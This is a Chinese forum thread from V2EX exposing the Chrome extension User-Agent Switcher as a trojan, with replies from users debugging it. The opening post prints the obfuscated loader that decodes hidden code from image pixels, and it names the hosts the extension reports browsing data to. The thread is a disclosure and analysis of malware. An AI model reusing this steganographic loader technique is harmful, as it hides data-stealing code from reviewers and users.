大家注意了 Chrome 的插件 User-Agent Switcher 是个木马

2017-09-09 06:27:10 +08:00
 anoymoux
chrome 商店搜索 User-Agent Switcher,排第一的这个插件(45 万用户),是一个木马...

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里

background.js 的第 80 行,从这个图片里解密出恶意代码并执行

t.prototype.Vh = function(t, e) {
            if ("" === '../promo.jpg') return "";
            void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
            var n = this.ET,
                i = e.mp || n.mp,
                o = e.Tv || n.Tv,
                h = e.At || n.At,
                a = r.Yb(Math.pow(2, i)),
                f = (e.WC || n.WC, e.TY || n.TY),
                u = document.createElement("canvas"),
                p = u.getContext("2d");
            if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
            e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
            var c = p.getImageData(0, 0, u.width, u.height),
                d = c.data,
                g = [];
            if (c.data.every(function(t) {
                    return 0 === t
                })) return "";
            var m, s;
            if (1 === o)
                for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
            var v = "",
                w = 0,
                y = 0,
                l = Math.pow(2, h) - 1;
            for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
            return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
        }
会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
根据 threatbook 上的信息( https://x.threatbook.cn/domain/api.data-monitor.info ),我估计下面的几个插件都是这个作者的作品..

https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm

https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah

https://chrome.google.com/webstore/detail/%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%BC%D1%83%D0%B7%D1%8B%D0%BA%D1%83-%D0%B2%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5/hanjiajgnonaobdlklncdjdmpbomlhoa

https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg

这里也有人讨论这个问题 https://news.ycombinator.com/item?id=14889619

54661 次点击
所在节点    浏览器
112 条回复
tbag781623489
2017-09-09 21:53:35 +08:00
感谢一下,怪不得经常 pop up 一些鬼佬推广。以后只能油猴或者自己写了
MaxMadcc
2017-09-09 22:00:10 +08:00
@anoymoux 这插件就只把 tab 的 url 信息上传上去了吗?
achendian2
2017-09-09 22:10:06 +08:00
恐怖 删
LuoboTixS
2017-09-09 23:14:46 +08:00
Chrome 商店里的排名头部免费热门插件,若常年不断更新、功能已经成熟定型的话,都应该考虑是否有偷数据甚至改页面内容(广告跳转)的后门风险,不然 Dev 喝西北风啊?

英文互联网还有很多靠万能关键词 SEO 引诱点击下载的伪工具软件(广告木马)能把浏览器抽插的七窍流血,但根本不报毒也难定位
kappa
2017-09-09 23:20:59 +08:00
xcc880
2017-09-09 23:28:42 +08:00
0.0 装了好久
acess
2017-09-10 00:19:19 +08:00
为啥我看着那么眼熟呢:
Chrome 扩展被出售被加入恶意代码
http://www.solidot.org/story?mode=thread&sid=47732
Kingfree
2017-09-10 00:39:10 +08:00
这家伙有问题怎么没被举报掉?
xspoco
2017-09-10 00:50:04 +08:00
我竟然装了。。赶紧删了。。
redsonic
2017-09-10 01:20:25 +08:00
折腾了一下,没发现任何数据泄漏给那个域名。
t.prototype.Vh 这个调用过程中没有参数,导致
if (u.style.display = "none", u.width || t.width, u.height || t.height, 0 === u.width || 0 === u.height) return "";
直接 return,也就没法知道 hack 的代码藏在图片的哪个位置

就算注释掉掉这句,由于 canvas 没有绘图,所以 d 里面是全 0
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";

最后也是 return,到不了后面的解码。LZ 应该分享一下怎么知道里面藏着什么东西的。我不是替这个插件说话,只是想知道实际的受害程度,load 一个图片然后跑了一大段混淆的代码确实没安什么好心。
15015613
2017-09-10 08:19:40 +08:00
lingaoyi
2017-09-10 09:24:05 +08:00
好恐怖....
Haiwx
2017-09-10 10:14:10 +08:00
@15015613 最后一次更新 January 4, 2011,手动摊手
cyg07
2017-09-10 11:00:56 +08:00
xi_lin
2017-09-10 11:22:55 +08:00
中奖了
redsonic
2017-09-10 11:46:21 +08:00
@cyg07 https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889
然而还是不清不楚,没有文件 hash,没有署名,没有提图片里藏什么了以及藏哪了。我实际验证了这个插件,80 行确实加载了 promo.jpg ,但后面马上就返回了。可能实际危害要小很多。
anoymoux
2017-09-10 16:46:05 +08:00
@redsonic 费了那么大劲把代码藏在图片里,怎么可能执行一下就返回了...你把那一行提取出来 debug 跟踪一下就明白了,下面两段代码是解密出来的
https://pastebin.com/ZYd82Hkm
https://pastebin.com/gXV094wm
虽然混淆了,但是还是很容易看出木马行为的...这作者还是挺狡猾的,刚安装之后不会触发监控模块,24 小时之后才会.
另外 chrome 的 F12 network 里看不到插件发送的请求,这也是很多恶意插件能够存在这么长时间原因...如果想看某一个插件发送的请求,在 chrome://extensions/点击插件->背景页,选择 network 就能看到了
redsonic
2017-09-10 17:36:09 +08:00
@anoymoux

d=c.data,g=[];console.log(d) 打印出来是全 0 然会就返回了,应该是这个图片显示出来的时候才解密代码,我抓了两天的包都没抓到,chrome 59 源代码 hook 了 url request 也没看到有相关域名,是有什么触发条件吗? 你是随便开一个 tab 就能抓到?
redsonic
2017-09-10 19:22:09 +08:00
@anoymoux 谢谢,直接在 extensions 里面就地调试 可以解出代码了,只不过第一次 getImageData 还是全 0,要第二次才行 。 把那段单独抽出来不管怎么调试都是 return。不过解出来的混淆代码还是没发出任何东西,在里面循环了一段就退出了,应该还是需要什么条件。
redsonic
2017-09-10 19:39:59 +08:00
这部分是什么 https://pastebin.com/gXV094wm

我解出的代码是这部分 https://pastebin.com/ZYd82Hkm

@anoymoux

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/389340

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX